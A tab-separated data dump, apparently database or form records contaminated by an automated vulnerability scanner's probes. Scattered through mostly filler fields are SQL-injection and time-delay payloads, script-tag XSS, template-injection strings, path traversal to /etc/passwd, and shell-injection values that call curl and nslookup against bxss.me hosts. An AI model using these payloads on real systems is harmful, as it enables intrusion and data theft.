1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""aycsox7L""="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""aycsox7L""="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >V1xQ(9034)</ScRiPt>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU9610543	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bfg10350%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10350	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	<%={{={@{#{${dfb}}%>	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"|echo ugohmp$()\ drsdim\nz^xyu||a #' |echo ugohmp$()\ drsdim\nz^xyu||a #|"" |echo ugohmp$()\ drsdim\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"<th:t=""${dfb}#foreach"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"1}}""}}'}}1%>""%>'%><%={{={@{#{${dfb}}%>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	dfb[[${98991*97996}]]xca	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	<!--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=25 or ""tV8nJYIa""="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=26 or ""tV8nJYIa""="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1; waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1); waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1 waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102PqcObULx'; waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1 OR 616=(SELECT 616 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1) OR 906=(SELECT 906 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1)) OR 902=(SELECT 902 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102PABcbA8V') OR 12=(SELECT 12 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102XfQXtvtZ')) OR 263=(SELECT 263 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 or 'HvNNrwhU'='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1Z8TF58LO0	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1BBAI9M4SO0	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	1BF5S4X64X0	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	@@L7vNs	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	<!--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	<!--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bfgx5126%C0%BEz1%C0%BCz2a%90bcxhjl5126	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	19042262	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1; waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	response.write(9908638*9244695)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	19876937	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	941029697470	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	response.write(9658544*9010671)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	19483476	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'+response.write(9658544*9010671)+'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1 waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"""+response.write(9658544*9010671)+"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	response.write(9235946*9541267)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	19322973	1	1	1	1	1	1
1	1	1	'+response.write(9235946*9541267)+'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1'""()&%<zzz><ScRiPt >IL0D(9584)</ScRiPt>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	19281024	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1'""()&%<zzz><ScRiPt >IL0D(9538)</ScRiPt>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'""()&%<zzz><ScRiPt >IL0D(9213)</ScRiPt>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	19000298	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	19332317	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"echo aiuurh$()\ zabgtk\nz^xyu||a #' &echo aiuurh$()\ zabgtk\nz^xyu||a #|"" &echo aiuurh$()\ zabgtk\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	response.write(9742333*9052643)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1nZUwPbdm'; waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'+response.write(9742333*9052643)+'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	19037758	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"""+response.write(9742333*9052643)+"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	response.write(9275205*9947139)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'+response.write(9275205*9947139)+'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1); waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"""+response.write(9235946*9541267)+"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >IL0D(9771)</ScRiPt>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	19679791492	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"""+response.write(9275205*9947139)+"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	response.write(9636425*9074296)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'+response.write(9636425*9074296)+'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"""+response.write(9636425*9074296)+"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'""()&%<zzz><ScRiPt >IL0D(9181)</ScRiPt>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"|echo jqbwzl$()\ jdykcr\nz^xyu||a #' |echo jqbwzl$()\ jdykcr\nz^xyu||a #|"" |echo jqbwzl$()\ jdykcr\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1 OR 553=(SELECT 553 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	19115664	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	19582871	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	response.write(9155165*9395182)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'+response.write(9155165*9395182)+'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"""+response.write(9155165*9395182)+"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	19770679	1	1	1	1	1
1	1	1	1	"ncMUFCMU'""()&%<zzz><ScRiPt >IL0D(9208)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'""()&%<zzz><ScRiPt >IL0D(9416)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	@@Rq7sv	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(select 198766*667891)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"|echo gkywuv$()\ uvaqui\nz^xyu||a #' |echo gkywuv$()\ uvaqui\nz^xyu||a #|"" |echo gkywuv$()\ uvaqui\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	expr 9000820890 - 977331	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=26 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	expr 9000734696 - 964849	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../etc/passwd	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(nslookup -q=cname hitftohevawalb06cc.bxss.me||curl hitftohevawalb06cc.bxss.me))	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup -q=cname hittnsbsfovoa8707c.bxss.me||curl hittnsbsfovoa8707c.bxss.me)&'\""`0&(nslookup -q=cname hittnsbsfovoa8707c.bxss.me||curl hittnsbsfovoa8707c.bxss.me)&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup -q=cname hityvuskvdknube9a3.bxss.me||curl hityvuskvdknube9a3.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	`(nslookup -q=cname hitsyjhtcuuhzbf470.bxss.me||curl hitsyjhtcuuhzbf470.bxss.me)`	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	;(nslookup -q=cname hitwjblydrvnl49b46.bxss.me||curl hitwjblydrvnl49b46.bxss.me)|(nslookup -q=cname hitwjblydrvnl49b46.bxss.me||curl hitwjblydrvnl49b46.bxss.me)&(nslookup -q=cname hitwjblydrvnl49b46.bxss.me||curl hitwjblydrvnl49b46.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitdeajzmiwbcaacd0.bxss.me||curl${IFS}hitdeajzmiwbcaacd0.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bxss.me/t/xss.html?%00	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(nslookup -q=cname hitcpjodqnydl5b620.bxss.me||curl hitcpjodqnydl5b620.bxss.me))	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	HttP://bxss.me/t/xss.html?%00	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"echo dxnnxt$()\ yiiqjs\nz^xyu||a #' &echo dxnnxt$()\ yiiqjs\nz^xyu||a #|"" &echo dxnnxt$()\ yiiqjs\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	19614878	1	1
1	1	1	1	ncMUFCMU	1	"&echo lpcxtk$()\ qxamtc\nz^xyu||a #' &echo lpcxtk$()\ qxamtc\nz^xyu||a #|"" &echo lpcxtk$()\ qxamtc\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"|echo mlxqae$()\ wquhub\nz^xyu||a #' |echo mlxqae$()\ wquhub\nz^xyu||a #|"" |echo mlxqae$()\ wquhub\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	expr 9000497090 - 982094	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	19803843	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(nslookup -q=cname hitofitulmmvl9f4a7.bxss.me||curl hitofitulmmvl9f4a7.bxss.me))	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	$(nslookup -q=cname hitnltvudixcn86421.bxss.me||curl hitnltvudixcn86421.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&nslookup -q=cname hitrjrdcjyjnn4e83d.bxss.me&'\""`0&nslookup -q=cname hitrjrdcjyjnn4e83d.bxss.me&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	nyXeuNa4	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	dgdSJiyR: 9UV73p8o	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
